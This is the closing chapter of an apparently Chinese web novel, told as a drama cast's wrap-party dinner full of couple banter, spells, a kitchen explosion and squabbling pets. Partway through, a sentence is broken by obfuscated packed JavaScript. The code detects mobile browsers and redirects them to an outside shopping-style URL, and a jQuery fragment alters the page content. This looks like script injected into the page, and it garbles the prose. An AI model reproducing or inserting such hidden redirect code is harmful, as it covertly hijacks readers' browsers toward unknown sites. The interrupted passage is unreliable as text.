不知过了多久,柳清圆才微微退开些许,两人呼吸交织在一起,在空中化作白雾散开。 柳知微睫毛轻颤,睁开眼时,眸中水光潋滟,映着漫天碎雪,也映着近在咫尺的爱人。 “师姐,”她扬起的嘴角弯成月牙儿,手指暧昧地在柳清圆颈后轻轻画着圈,“你说的,抱了就要亲亲。那我亲了,你是不是得抱我一辈子?” 柳清圆看着她这副理直气壮又羞赧难掩的模样,忍不住又在她唇角啄了一下。 “岂止是抱你。”师姐眼波缱绻,字字含情,“是要亲你、惜你,与你朝暮相知、白首同归,任世事几番轮转,亦不离不弃。” 柳知微眼眶倏然一热,把脸埋进她颈窝里,闷闷地笑了:“师姐,这些情话你都是从哪里学来的啊!有点崩人设了哦~” 她抬起头凑过来,眼睛里亮晶晶的:“师姐的话,以后直接亲亲瑛瑛就够啦。” 天地素白,大雪飘飘,似乎世界只剩下她们两个,再也无人打扰,再也…… “咔!——”不远处传来许多人的声音,在柳知微听来无比熟悉。 她和柳清圆一同往声音来处望去。沈流商和谢济泫粘乎地站在一起,其余的人都在一起向她们招手,其中楼静时最是兴高采烈,嘴角都压不下去。 他们说:“喂!吃饭就等你俩了!” 柳知微笑着,声音清亮地回道:“知!道!啦!”接着又哄了柳清圆好一会儿,师姐这才作罢,不再纠缠那个被打断的吻。 晚上的杀青宴摆在姑媱山下的一家老馆子,一整个个大圆桌。菜还没上齐,谢济泫就已经黏在沈流商旁边了,整个人恨不得挂在他胳膊上。他的下巴亲昵地搁在沈流商肩头,眼睛一眨不眨地盯着他看,脑子里尽想些不可描述的画面。 沈流商正在跟楼静时说话,被她那句“阿弟眼光好,弟妹生得好颜色”说得脸上有些挂不住,偏过头想躲一躲,结果一转头就撞上谢济泫那双放光的大眼睛。 “……你坐好。”沈流商语气平静,但是脸上已经烧得红透了。 “不要。”谢济泫理直气壮,胳膊收得更紧了些,“你走了五百年。” 沈流商顿了一下。 五百年,是沈流商那个角色被镇压在九幽的时间,戏里戏外,对于谢济泫来说,他都实打实地等了五百年。 当然,戏里是生离死别,戏外是谢济泫杀青早,只是在酒店里窝了几个月而已。虽然知道沈流商还在剧组里看不了手机,他依旧每天雷打不动地给沈流商发消息,内容从“今天吃了什么”到“今天又睡了多久”再到“我想你了”,中间还夹杂着大量让人看得人心惶惶的表情包。 沈流商本来想翻白眼说“那是演戏”,但谢济泫说“你回来了就好”的时候,他就已经湿了眼眶。 沈流商没再想着要推开他,只是别过脸去,只闷声说了句:“知道了……以后不会再走了,我陪着你。”声音到后面越来越小,而且话一出口他就后悔了,然而落在谢济泫耳朵里却是清清楚楚,明明白白。 那一边柳清圆端着茶杯,远远地看了这一幕,逐渐变成姨母笑。柳知微凑过来,小声说:“师姐你看师哥那个表情,像不像——” “像什么?” “春心荡漾啊~” 两人一唱一和,同时噗嗤笑起来,还下了传言咒,确保她俩说的话能精准传送到沈流商耳边。 谢济泫眼睛亮了,更加得寸进尺,在他身上蹭来蹭去,沈流商整个人跟只熟透的大红虾子似的,直接心一横装起宕机木头人来了。 行行行!让他蹭一下就让他蹭吧!不然搞得他沈流商像玩弄小男孩感情的渣男一样! 怀崖是最后一个到的,杵着拐杖笑眯眯地走进来,手里还捏着好多糖画儿,往一人手里放一个,慈祥地开口:“来,师父请客。” 柳知微立刻伸手去抢那个兔子糖画儿,甜蜜蜜地叫一声“师父”,柳清圆依旧喊他老头,沈流商忙着装木头人降低自己存在感,便没喊他。 怀崖也不恼,乐呵呵地坐下来,环顾了一圈,眼睛弯成两道缝:“好啊,好啊,都齐了。” 他这话说得轻,但桌上安静了一瞬。 都齐了。 戏里以身殉道的怀崖,被困在幽都不死不灭的谢济泫,魂飞魄散的沈流商,葬身火海的柳清圆和柳知微……大家伙都坐在这儿了,活生生的,围着一桌子还没上齐的菜,一起吵吵嚷嚷。 楼静时今天很是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576381|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴,那股子皮劲儿又上来了。她拿筷子敲了敲碗沿,要来喝酒划拳玩真心话大冒险。 沈流商第一局就输了,然后选了真心话。 柳知微狡黠地问:“是不是师哥先追的嫂嫂?你俩谁上谁下?你俩一夜几次?” 谢济泫恰到好处地娇羞。 沈流商:“……我选大冒险。”这可是事关男人尊严的事情!要是说出去了他还要不要混了! 楼静时笑得正得意,旁边的宋歇一言不发地给她碗里夹了一筷子她爱吃的笋,又夹了一筷子鱼肉,仔细地挑了刺,再夹了一块红烧排骨,然后是土豆,然后是…… 碗里的菜堆成了小山。 楼静时呛了一口,转头瞪他:“你、你好好吃饭!” 宋歇不紧不慢地“嗯”了一声,又给她添了一勺汤。 “宋歇!” “在吃。”宋歇终于拿起自己的筷子,但还是看着她,嘴角带着一点很淡的笑。 楼静时耳朵红了,埋头扒饭,不再理他。桌上的其他人非常识趣地假装什么都没看见,除了善于观察的嗑学家柳知微。 她正在用一种“学废了”的眼神认真观摩,然后扭头去看柳清圆,开始有样学样地给她夹了一大碗菜。 柳清圆三秒就暴风炫完了,没有一点情调。 柳知微瘪了瘪嘴,但还是在桌子底下悄悄勾住了柳清圆的小指。 方青箬坐在桌子的另一头,怀里抱着自家孩子,正手把手地教他怎么拿筷子。小家伙握筷子的姿势总是不对,方青箬耐心地一根一根地帮他调整手指的位置。 她的丈夫林疏言坐在她旁边,安静地看他们,憨厚地笑着,幸福又安稳。 “爹爹,我夹不起来……”小家伙奶声奶气地抗议。 “慢慢来。”林疏言笑了笑,握着他的小手,帮他夹了一块软糯的南瓜。 裴千镬站在门口,靠着门框,一副踌躇不定的样子,想吃但是又不好意思吃席。 他的小师父坐在席上,搁下筷子。 然后小师父站起来,走过去,很自然地牵起他的手,裴千镬的手指僵了一下,但没有挣开。 “阿镬,不听师父的话了?” 裴千镬整个人都是僵的,被牵着一路走到座位旁边,走过来的时候完全同手同脚。柳知微在对面看得直乐,被柳清圆喂了一颗花生到嘴里。 “记得少吃点,夜里掐着腰都是软趴趴的了。”柳清圆说。 柳知微嚼着花生,含含糊糊地“哦”了一声,但是筷子就没停下来过。 云霜简自告奋勇去后厨帮忙看火,说是什么他曾经是烤熟过红薯的五星级大厨,走的时候雄赳赳气昂昂的,纪春洲大概是怕他把厨房点了,也跟了过去,腰上还系着从服务员那儿借来的围裙,手里攥着一把锅铲。 一开始还挺安静的,大家该吃吃该喝喝,直到…… “砰!!” 一声巨响,整个馆子都震了一下,所有人齐刷刷地扭头看向厨房的方向。 93. 大结局(下) 几秒钟后,云霜简从厨房门口冲出来,灰头土脸的,头发上还挂着几片不知道是什么的菜叶子。 “厨房炸了!”他大声宣布,语气里居然带着一丝兴奋。 紧随其后的是纪春洲,腰上的围裙裂成一块破布,手上锅铲还在往下滴着不明液体,神情复杂得很,像是又无奈又心虚。 “你加的鹤顶红下得太多了!”纪春洲控诉道,锅铲直指云霜简,“剩下的菜都没救啦!整锅汤都紫了!紫的!” 云霜简反驳:“那不是鹤顶红!那是佐料!” 柳知微“啪”地一拍桌子站起来,抱着手臂,佯装生气道:“好哇你俩,说是去厨房看火烧菜,就这么一会儿又想搞鬼!该!你俩该!” 云霜简不服气地叉着腰,然后开始炮轰纪春洲:“毒药又怎么了,还记不记得你反派的人设!我说放半勺你说放一勺——” “我什么时候说放一勺了!” “你那个眼神就是那个意思!” “我眼神什么时候——” 两个人越吵越近,倔得牛角都快顶到一起了。 柳清圆放下筷子,看向谢济泫:“把他俩关到九幽里去,冷静一晚上。” 谢济泫没动。 因为他正不争气地跟只狗似的在沈流商脸上舔来舔去。是真的舔,把人脸上弄得湿漉漉的,还带着一点委屈的哼哼声。沈流商脸上的表情十分复杂,但是绝对不算好看,他在纠结究竟是现在把人杀了好还是再等等只给谢济泫一拳了事。 其他人也开始看过来的时候,谢济泫立刻警觉地抬头,把沈流商往怀里一箍,下巴抵在他头顶,用一种十分具有占有欲的眼神瞪着所有人。 那眼神明晃晃地在说“他是我的!你萌不许看!”,只能说超级中二。 沈流商几乎尬得要翻白眼了,终于忍无可忍,随手掐了个诀把谢济泫弹开,然后顺带教训了一下子那边炸厨房的二位。 一道蓝光闪过。 那边还在吵架的云霜简和纪春洲忽然面对面贴在了一起,鼻尖对鼻尖,嘴唇都差点撞上,两个人的眼睛同时瞪得溜圆,被一个法咒面对面困得严严实实。 “沈流商!!”云霜简怒吼。 沈流商面无表情地用帕子擦脸上的口水印子,淡淡道:“你也有今天。” 楼静时笑得前仰后合,筷子都掉了。她擦了擦眼角的泪,随手掐了个魂术,指尖亮起一点灵光:“来来来,姐姐帮你们加点料!真心话大冒险,不说真话解不开哦。” 云霜简的脸立刻就绿了。 纪春洲的脸也红了。 两个人被迫面对面,大眼瞪小眼,空气安静了大约三秒钟。 然后云霜简不受控制开了口:“……对不起。” 纪春洲愣了一下。 “真的对不起,”云霜简的目光躲闪,但又因为法咒的缘故躲不开,只能硬着头皮盯着纪春洲,“我不该……不该抢走你烤熟红薯的五星级大厨身份。” 纪春洲垂下眼睫,简直一个忧郁小男子:“你现在说这些有什么用,我是你的奴隶,炸厨房的锅应该由我来背才是,我的也该是你的,你的恩情我永远偿还不尽。” 楼静时在旁边起哄:“不够不够,这不算真心话,魂术可没解呢!” 纪春洲咬了咬牙:“我……我其实,早就不当你是主人了。” 云霜简眯了眯眼,似乎早有预料:“哼哼!这下说实话了,你这小兔崽子,不服来战!” “那当什么?”楼静时却笑眯眯地接过纪春洲的话。 纪春洲闭了闭眼,像是要死了一样,从牙缝里艰难挤出来几个字:“……当很重要的人。” 法咒解了。 两个人同时往后弹开三步,场面一度非常混乱。云霜简脸上的灰和红混在一起,颜色很是精彩,纪春洲则是背对着所有人,顶了满头黑线蹲在地上忧郁画圈。 嗑到真的了的嗑学家柳知微秒变仓鼠,瓜子以肉眼可见的速度消失,旁边的柳清圆就负责为她续满掌心,添瓜子,再添瓜子,继续添瓜子。 混乱之中,谁也没注意到桌角什么时候爬上来了两个毛茸茸的身影。 一只大黄狗不知道从哪个角落冒出来的,已经叼住了一整只鸡腿,尾巴摇得飞快。它旁边蹿出一只金毛猫,十分优雅地开始偷吃。 然后一只五彩斑斓的鸟“啪”地一下落在桌上,翅膀一展,冲着洛洛和芝麻的脑袋就是一顿猛啄。 “叽!叽叽叽叽!!!” 芝麻被啄着疼,但嘴里还死死叼着鸡腿不肯松口,洛洛趁乱把酱牛肉拖出来了一块,啾啾立刻集中火力,冲着洛洛的尾巴就是一通乱啄,洛洛“喵”地一声炸了毛,爪子一挥,把一盘花生米扫到了地上。 这时候闹出动静来,芝麻和洛洛都安安分分地回到原位,似乎什么也没有发生,然后大家一转头便见啾啾扑腾着翅膀神气地站在桌子中央。 “啾啾!”沈流商喊了一声,那鸟才不情不愿地飞到他的肩膀上,还愤愤不平地轻轻啄了啄他的头发。然后没站一秒,又被紧紧贴上来的谢济泫狠狠扫开。 啾啾:“……”再也不鸟你们了! 混乱终于告一段落。 谢济泫还黏在沈流商身上,但沈流商显然已经放弃了挣扎。谢济泫大概是觉得氛围太好了,又或者是他忍太久了,忽然一把将沈流商打横抱起来,大步就要往包间外面走。 “房间我已经订好了……”他的声音带着一种压抑了很久的急切。 柳知微眼疾手快,一把拽住了他的袖子。 “哎哎哎!干嘛呢!” 谢济泫回头,表情无辜又理直气壮:“做一点羞羞的事情。” 听到他这句话,沈流商在他怀里捂住了脸,从脖子红到耳朵根儿了。 “今儿个得把饭吃了才行,”柳知微拽着不放,另一只手拍了拍桌子,“这可是杀 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方青箬一手抱着孩子,一手举杯,林疏言在她身后,单手扶住她拿杯子的那只手的手肘,帮她稳住。 裴千镬还在忸怩着不好意思,但小师父已经给他递了一杯酒,他接过来的时候指尖都在抖,小师父笑了笑,用自己的杯子碰了碰他的,发出“叮”的一声。裴千镬的喉结滚了又滚,仰头一口闷了,然后被辣得直咳,小师父拍了拍他的背,笑容温和。 云霜简和纪春洲终于从角落里过来了,脸上的灰都没擦干净,两个人之间隔了一个座位的距离,和大家的杯子碰在一起。 窗外月亮升起来了,又圆又亮,院子里染上一地银霜,桂树枝影随风摇动,零落的桂花柔柔地落进月光里。 柳知微站在柳清圆旁边,月光照在她脸上,她笑得眉眼弯弯,忽然很大声地喊了一句。 “杀青啦!!” 芝麻跟着在桌子底下“汪”一声,洛洛跟着在窗台上“喵”一下,啾啾仰着脑袋,冲着这俩报复性地循环着“叽叽喳喳”的骂声。 所有人一起欢快地喊着,端着杯子,围成一圈,连方青箬怀里的小家伙都举着一个装了白水的杯子,大着舌头跟着喊。 “杀青啦——!!” 这是乱糟糟的一群人,吵吵闹闹的,生机勃勃的,是在戏里死过、活过、爱过、恨过、失去过、又找回来的一群人。 这样一群面目模糊的人,因着或深或浅的缘分,走到了一起,走进彼此的故事里,便也成就了一段小小的传奇,偶尔轰轰烈烈过,到头来,便叹一声"相逢何必曾相识",他们管这样普通的自己叫作"众生",然后默默退场,归于熙熙攘攘之中。 然此众生是真如来相也,清活如许,与生不息。 ——全文完——